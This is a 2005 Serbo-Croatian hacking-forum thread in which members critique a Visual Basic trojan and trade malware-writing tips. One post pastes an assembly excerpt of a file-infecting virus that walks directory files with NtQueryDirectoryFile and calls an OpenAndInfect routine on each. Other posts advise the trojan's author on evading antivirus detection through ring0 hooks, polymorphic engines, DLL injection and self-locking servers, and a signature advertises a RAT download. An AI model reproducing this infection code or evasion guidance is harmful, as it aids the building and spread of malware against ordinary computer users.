[es] - Sta mislite o ovom Trojanu Ocene i kritike!

deroko

Član broj: 48499
Poruke: 123
193.140.140.*

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{23.03.2005. u 13:17}

dobro trazio si deo source pa evo ti na :

Code:

__give_me:
                     pop     edi

                     lea    esi, au_str
                     call   RtlInitUnicodeString, esi, edi

                     push   0
                     lea    esi, au_str
                     push   esi
                     push   1
                     push   3
                     push   256*2
                     lea    esi, path
                     push   esi
                     lea    esi, ioblock
                     push   esi
                     push   null
                     push   null
                     push   null
                     push   dir_handle
                     @sysenter     NtQueryDirectoryFile, 11


                     lea    esi, path
                     mov    eax, [esi.FileNameLength]
                     lea    edi, [esi.FileName]
                     mov    word ptr[edi+eax], null
                     call   OpenAndInfect,  edi, dir_handle


__next_file_search:
                     push   null
                     push   null
                     push   1
                     push   3
                     push   256*2
                     lea    esi, path
                     push   esi
                     lea    esi, ioblock
                     push   esi
                     push   null
                     push   null
                     push   null
                     push   dir_handle
                     @sysenter     NtQueryDirectoryFile, 11

na evo ti kod iz prc-ko.xp pa ne smaraj vise sa tim da ja pojma nemam...
A ti se pitaj sta ovaj kod radi, a za vise poseti phearless #2 zine za vise objasnjenja i full source...
Mislim ako uopste i shvatis o cemu je ovde rec...
I da, upravu si, hocu da kopiram tvoj super kod, zivot mi je bas pust bez novih VB trojana.

ps. nemoj da mi ukrades kod plz, jer sam se stvarno pomucio citajuci NT internale... Nemoj molimte da ovo stavis u svoj trojan ili u neki virus, jer stvarno nije u redu da ceo moj rad uzmes za sebe..
Jel zvuci smesno, daaaaaa :)))

^{23.03.2005. u 13:17}

djmaki
Stefan Djordjevic
Smederevo

Član broj: 24749
Poruke: 430
*.ptt.yu.

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{23.03.2005. u 22:11}

Ma opasni ste vi:
#ugs @ irc.krstarica.com:6661

Veni Vidi Vici

^{23.03.2005. u 22:11}

deroko

Član broj: 48499
Poruke: 123
193.140.140.*

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{23.03.2005. u 22:42}

clap clap clap znas copy/past clap clap clap

^{23.03.2005. u 22:42}

djmaki
Stefan Djordjevic
Smederevo

Član broj: 24749
Poruke: 430
*.ptt.yu.

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{24.03.2005. u 16:40}

Sta sam kopirao? Ne razumem zasto ne bih znao to .
To sto se skupljate na irc serveru krstarice je lepo, ali ne moj da potdcenjujes tudje radove, ako hoces lepo komentarisi kao sto si pisao, ili ne moj da pises.

Veni Vidi Vici

^{24.03.2005. u 16:40}

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.

ICQ: 106979934

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{25.03.2005. u 00:15}

Da, moraš postati kod ako misliš imalo kvalitetnih komentara. Nemaš se šta sramiti, i puno pametniji ljudi i od mene i od tebe su pablikalizirali svoje kreacije :)

^{25.03.2005. u 00:15}

deroko

Član broj: 48499
Poruke: 123
193.140.140.*

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{25.03.2005. u 00:45}

Lopov : sada su ti u modi rootkitovi, a oni se ne pisu u vb :) c/c++ i asm...
Iskren da budem ne znam koji su VB fajlovi u pitanju jer vb ne koristim, ali sam u zipu video gomilu za kopiranje sto nikad neces videti uz trojan pisan u C ili jos gore u cistom asm(nize od ove "dlake" moze samo ako si mazohista:))

^{25.03.2005. u 00:45}

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.

ICQ: 106979934

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{25.03.2005. u 01:45}

Citat:

l0P0v: vremena od kada je pisan tekst, novi rekord za broj servera spojenih na jedan klijent = 788

Jučer sam bio na IRC kanalu na kojem je bilo ~ 30 000 botova. Klijent je IRC-based, botovi su napisani u C/asm.

Minimo se čini ima par dobrih featurez, ali sve od toga je već viđeno ili nije uopće teško implementirati.

Citat:

2. Once run, the server cannot be scanned by any anti-virus application.

Baš me zanima kako je ovo riješio u VB-u majketi?

AV skeneri koriste filesystem hookove u ring0, nema teoretske šanse da je ovo napravio u čistom VB-u.

Citat:

3. Screw AV killing, MiniMo servers can prevent any app from ever starting again. All programs need to ask your server for permission before they can run.

Niti ovo se ne može teoretski bez asm-a i ring0 koda.

Nadalje, VB trojanci imaju vrlo ograničene mogućnosti morfiranja za sakrivanje od AV. Koliko znaš VB trojana koji koriste externi polimorfni engine? Ili se mogu bindati sa proizvoljnim programima? Pošto VB programi ne mogu biti offset-independent, vrlo je ograničeno i morfiranje sa nekim popularnijim pakerima/kripterima.

^{25.03.2005. u 01:45}

l0P0v

Član broj: 49052
Poruke: 31
*.dialup.neobee.net.

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{25.03.2005. u 02:12}

Citat:

Sundance:
Jučer sam bio na IRC kanalu na kojem je bilo ~ 30 000 botova. Klijent je IRC-based, botovi su napisani u C/asm.

Ok ali ima bitne razlike u svemu ovome. Trojanac je, i klijent i server u vb6. Znas li sta je 788 servera zakacenih na klijentu napisanom u vb6? +Mega sporost samog vb6 jezika... Sve bi teoretski trebalo da se srusi na 10+ servera :) jer je vb6 bedan za takve stvari ali evo dokaza da je moguce.

Citat:

2. Once run, the server cannot be scanned by any anti-virus application.

Baš me zanima kako je ovo riješio u VB-u majketi?

AV skeneri koriste filesystem hookove u ring0, nema teoretske šanse da je ovo napravio u čistom VB-u.

Nisi jedini koga ovo zanima :)
Ja sam se smarao nedelju dana i uspeo pomocu eksternog fajla da uradim da mi fajl bude 'inscanable' i zaista, skeniran sa KAVom, kav pokazuje da je skeniranje zavrseno a scanned files = 0

Citat:

Nadalje, VB trojanci imaju vrlo ograničene mogućnosti morfiranja za sakrivanje od AV. Koliko znaš VB trojana koji koriste externi polimorfni engine? Ili se mogu bindati sa proizvoljnim programima? Pošto VB programi ne mogu biti offset-independent, vrlo je ograničeno i morfiranje sa nekim popularnijim pakerima/kripterima.

Ja se slazem da je vb6 inferioran i ogranicen jezik u poredjenju sa drugim jezicima ali opet, to ne znaci da se u vb6 ne moze uraditi dobar trojanac.
Ljudi se uglavnom odlucuju za bolje jezike od vb6 (->delphi) zbog injectiona ali i to je vec uradjeno u vb6 (CIA trojanac).

Nema razloga za toliko skrivanje od AV-a. Kad napises program, on nije detektovan kao virii. Kad ga dograbe, malo promenis kod i eto te na pocetku. Da ti iskreno kazem, niko ustvari i ne razmislja o AV-ima. Uglavnom su se FWi smatrali za problem pa je napisan injection.

Atentator v1.0 - RAT
hxxp://atentator.netfirms.com/index.htm

^{25.03.2005. u 02:12}

Sundance

Član broj: 7510
Poruke: 2559
*.sava.sczg.hr.

ICQ: 106979934

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{25.03.2005. u 09:19}

Citat:

l0P0v: Ja sam se smarao nedelju dana i uspeo pomocu eksternog fajla da uradim da mi fajl bude 'inscanable' i zaista, skeniran sa KAVom, kav pokazuje da je skeniranje zavrseno a scanned files = 0

Samo za KAV ili za sve AV na svijetu (kako piše tamo u opisu onog trojana)? Jel se može znat što si točno radio da prodiskutiramo malo o teoriji?

Citat:

Istina. Ne kažem ja da su svi VB programeri loši niti da se u njemu ne može napraviti relativno kvalitetan trojan, samo kažem gdje mu je mjesto u "hijerarhiji" :P

Nego, DLL injection je stari trik i danas tona sw FW-ova detektira ubacivanje DLL-a u tuđi adresni prostor i tona HIDS alata hookira CreateRemoteThread. Sad je l33t iz ring0 šetanje EPROCESS strukturama, kreiranje APC, kopiranje trojana u SharedUserData i patchanje userland niti sistemskih procesa u letu da izvrše tvoj kod pod svojim kontekstom :)

Citat:

Kad napises program, on nije detektovan kao virii. Kad ga dograbe, malo promenis kod i eto te na pocetku

Pa ono, za konkretno trojanac na ovoj temi to baš i nije slučaj :))))

^{25.03.2005. u 09:19}

EArthquake
Aleksandar Nikolic
Novi Sad

Član broj: 20684
Poruke: 651
*.83.eunet.yu.

Sajt: www.phearless.org

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{25.03.2005. u 12:07}

ne bih da flejmam vise vec da konkretno pojasnim djmakiju sta treaba da se radi da bi taj trojan lepo radio a sto se tice reverseovanja samog trojana mislim da nije ni potrebno jer sam sto posto siguran da bi mogao da vidim sve stringove i dll-ove i funkcije koje koristi ako ga samo otvorim u notepadu sto znaci djmaki ulozi malo vise rada na protiv RE | deroko ovde je napisao veoma jak tekst za ph02 na tu temu ako se nevaram (Runtime Decription Engine )

umesto da postas neve verzije trojana sa vecim brojem opcija
bolje poradi na tome da ga AV ne detektuje a to je vec posao

www.phearless.org
foundation.phearless.org
www.matematiranje.com

^{25.03.2005. u 12:07}

deroko

Član broj: 48499
Poruke: 123
193.140.140.*

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{25.03.2005. u 17:18}

:)
Upravo to, moras izbeci detekciju AV software, kad to izbegnes pravis nove verzije do mile volje jer znas da imas stealth trojanac koji je upotrebljiv, mislim, ja mogu da isklucim NOD32 da ga ne detektuje ali sta ces kad se obican korisnik kune u AV software :)

^{25.03.2005. u 17:18}

djmaki
Stefan Djordjevic
Smederevo

Član broj: 24749
Poruke: 430
*.ptt.yu.

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{25.03.2005. u 20:26}

Slazem se sa Jimijem.

Veni Vidi Vici

^{25.03.2005. u 20:26}

l0P0v

Član broj: 49052
Poruke: 31
*.dialup.neobee.net.

Profil

Re: Sta mislite o ovom "Trojanu" Ocene i kritike!

^{25.03.2005. u 20:54}

Citat:

Sundance:
Samo za KAV ili za sve AV na svijetu (kako piše tamo u opisu onog trojana)? Jel se može znat što si tocno radio da prodiskutiramo malo o teoriji?

Nisam zainteresovan za ovu diskusiju iz prostog razloga sto sam na tankom ledu tj. nisam uspeo da uradim ono sto sam nameravao. Ono sto sam ja radio nema veze sa Minimom i nacinom na koji taj trojanac pravi da mu server bude 'inscanable'. Server mora biti pokrenut da bi 'inscanable' imalo smisla. U mom slucaju, meni fajl nije skeniran ali onda ne moze ni da se pokrene dok sa druge strane, pokrenuti fajl ne mogu da uradim. Jednom kad uspem, ako ikad, onda cemo moci da pricamo o tome :)
Ja ne znam kako je autor Minima to uradio a svoj fajl nisam mogao da testiram na svim AV-ima jer sam onda imao KAV instaliran.
Nadam se da razumes da taj Minimo server sam po sebi nije 'inscanable' ali kad se pokrene, onda nesto uradi sam sebi i AV ne moze da mu pristupi. 'Pricalo' se nesto da se nekako 'zakljucava'. Ako zelis mogu ti dati Minimo server pa ceprkaj po njemu.

Citat:

Nego, DLL injection je stari trik i danas tona sw FW-ova detektira ubacivanje DLL-a u tudi adresni prostor

Hm, mozes li mi navesti par FWa koji to detektuju pa da testiram?

Citat:

EArthquake
umesto da postas neve verzije trojana sa vecim brojem opcija
bolje poradi na tome da ga AV ne detektuje a to je vec posao

Za AV ima vremena, kad jednom napise vise od 80% koda sam, nece imati problema sa tim. NOD32 ce morati da instalira da zaj3be heuristiku.
Sa druge strane, trojanac nema file manager, nema nikakav notifikacioni sistem, nema nekih funkcija zbog kojih bi neko uzeo da ga koristi. Mislim da bi na tome trebao da poradi.
Da ne ispadne da flejmujem trojanca, ne mislim ja da je los ili nesto, kad uzmemo u obzir da ogromna vecina korisnika trojanaca nisu u zivotu napisali liniju koda i da nemaju blage veze kako (bilo koji) trojanac funkcionise, mislim da je covek na dobrom putu.

Citat:

jer sam sto posto siguran da bi mogao da vidim sve stringove i dll-ove i funkcije koje koristi ako ga samo otvorim u notepadu

Ja nesto mislim da dll-one neces videti :)

Mislim da je pogresno sto trazite source, pogledajte samo kako se replicira virii tutorijal sto ga je cookie pisao, skoro me cudi kako nema 1k novih vb6 crva 'made in serbia'.

Atentator v1.0 - RAT
hxxp://atentator.netfirms.com/index.htm

^{25.03.2005. u 20:54}